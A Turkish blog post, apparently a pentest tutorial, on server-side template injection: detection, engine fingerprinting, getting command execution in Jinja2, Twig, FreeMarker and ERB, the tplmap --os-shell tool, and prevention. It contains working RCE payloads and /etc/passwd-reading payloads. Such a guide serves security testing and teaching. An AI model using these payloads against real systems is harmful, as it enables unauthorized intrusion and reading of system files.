SSTI (Server-Side Template Injection) Uzmanlık Rehberi: Keşif, Tanımlama ve Shell Alma
Server-Side Template Injection (SSTI), bir web uygulamasının kullanıcı girdilerini (input) doğrudan bir şablon motoruna (Jinja2, Twig…
SSTI (Server-Side Template Injection) Uzmanlık Rehberi: Keşif, Tanımlama ve Shell Alma
Server-Side Template Injection (SSTI), bir web uygulamasının kullanıcı girdilerini (input) doğrudan bir şablon motoruna (Jinja2, Twig, FreeMarker vb.) eklemesi sonucu oluşan, genellikle Uzaktan Kod Çalıştırma (RCE) ile sonuçlanan kritik bir güvenlik açığıdır. Bu rehberde, bir sızma testi uzmanının bu zafiyeti nasıl tespit ettiğini ve farklı sistemlerde nasıl “shell” aldığını adım adım inceleyeceğiz.
1. Keşif Aşaması (Detection)
Zafiyeti tespit etmek için uygulamanın dinamik içerik üreten kısımlarına odaklanmalısınız.
- Kritik Alanlar: Web formları, arama çubukları, kullanıcı profil sayfaları ve özellikle arka planda şablon kullanan PDF oluşturucular, fatura sistemleri ve otomatik e-postalar.
- Fuzzing: İlk adımda
${{<%[%'"} } % \.gibi özel karakterlerden oluşan bir "polyglot" payload göndererek sunucunun hata verip vermediği kontrol edilir. - Matematiksel Doğrulama:
${7*7}veya{{7*7}}ifadesi gönderildiğinde çıktı olarak 49 alıyorsanız, içeride bir şablon motorunun çalıştığı kesinleşmiş olur.
2. Motoru Tanımlama (Identification)
Hangi şablon motorunun kullanıldığını bilmek, sömürü (exploit) kodunu yazmak için şarttır.
- Hata Mesajları:
(1/0).zxy.zxypayload'u gönderildiğinde dönen hata mesajı dili ele verir: - ZeroDivisionError: Python (Jinja2, Django).
- java.lang.ArithmeticException: Java (Freemarker, Pebble).
- Division by zero: PHP (Twig, Smarty).
- Karşılaştırmalı Test:
{{7*'7'}}payload'unu kullanın: - Sonuç 49 ise: Twig (PHP).
- Sonuç 7777777 ise: Jinja2 (Python).
3. Farklı Motorlarda Shell (RCE) Alımı
Motoru tanımladıktan sonra, o dile özgü “nesne zincirlerini” (object chains) kullanarak işletim sistemi komutları çalıştırabiliriz.
A. Python (Jinja2)
Jinja2'de Python nesne hiyerarşisi kullanılarak os modülüne veya subprocess.Popen'a ulaşılır.
- Komut Çalıştırma:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} - Reverse Shell: RCE sağlandıktan sonra, hedef sunucunun size bağlanması için bir bash veya netcat komutu tetiklenir.
B. PHP (Twig)
Twig motorunda, filtre geri çağırma (callback) özellikleri suistimal edilebilir.
- Payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - Bu yöntemle doğrudan sistem komutları çalıştırılarak sunucu üzerinde yetki kazanılır.
C. Java (FreeMarker / Pebble)
Java tabanlı motorlarda, genellikle Java’nın yerel sınıflarına (örn: java.lang.Runtime) erişim hedeflenir.
- FreeMarker:
${"freemarker.template.utility.Execute"?new()("whoami")}. - Pebble: Pebble gibi motorlarda, ifadelere doğrudan nesne metodları dahil edilerek sistem komutları tetiklenebilir.
D. Ruby (ERB)
Ruby şablonları genellikle Ruby kodunun doğrudan çalıştırılmasına izin verir.
- Payload:
<%= system("whoami") %>veya<%=whoami%>.
4. Otomatize Araçlar
Manuel sömürünün zor olduğu durumlarda şu araçlar “os-shell” almanıza yardımcı olur:
- tplmap: SSTI sömürüsü için altın standarttır.
--os-shellparametresi ile doğrudan komut satırı erişimi sağlar. - Örnek:
python2.7 tplmap.py -u 'http://hedef.com/?name=John*' --os-shell - SSTImap: tplmap tabanlı, daha güncel bir tespit ve sömürü aracıdır.
- TInjA: Modern ve oldukça hızlı bir SSTI tarayıcısıdır.
5. Korunma Yöntemleri (Prevention)
- Logic-less Motorlar: Mümkünse Mustache gibi mantıksal işlem yeteneği olmayan şablon motorları tercih edilmelidir.
- Girdi Ayrıştırma: Kullanıcı verileri asla şablon dizisine doğrudan eklenmemeli (concatenation), şablonun kendi güvenli veri geçirme metodları kullanılmalıdır.
- Sandboxing: Şablon motorunun tehlikeli fonksiyonlarının kaldırıldığı izole bir ortamda çalıştırılması sağlanmalıdır.
önemli notlar :
//// DOSYA OKUMA ///
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
${new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter('\\Z').next()}
<%= File.read('/etc/passwd') %>
{php}echo file_get_contents('/etc/passwd');{/php}
Bu rehber; PortSwigger, PayloadsAllTheThings ve Invicti teknik dökümanları temel alınarak sızma testi pratiklerine uygun şekilde hazırlanmıştır.
메타데이터
- post_id
- c9fcbe3280da
- slug
- ssti-server-side-template-injection-uzmanlık-rehberi-keşif-tanımlama-ve-shell-alma-c9fcbe3280da
- url
- https://medium.com/@bovsec/ssti-server-side-template-injection-uzmanl%C4%B1k-rehberi-ke%C5%9Fif-tan%C4%B1mlama-ve-shell-alma-c9fcbe3280da
- canonical_url
- https://medium.com/@bovsec/ssti-server-side-template-injection-uzmanl%C4%B1k-rehberi-ke%C5%9Fif-tan%C4%B1mlama-ve-shell-alma-c9fcbe3280da
- author_url
- https://medium.com/@bovsec
- status
- ok
- fetched_at
- 2026-07-20 20:06:42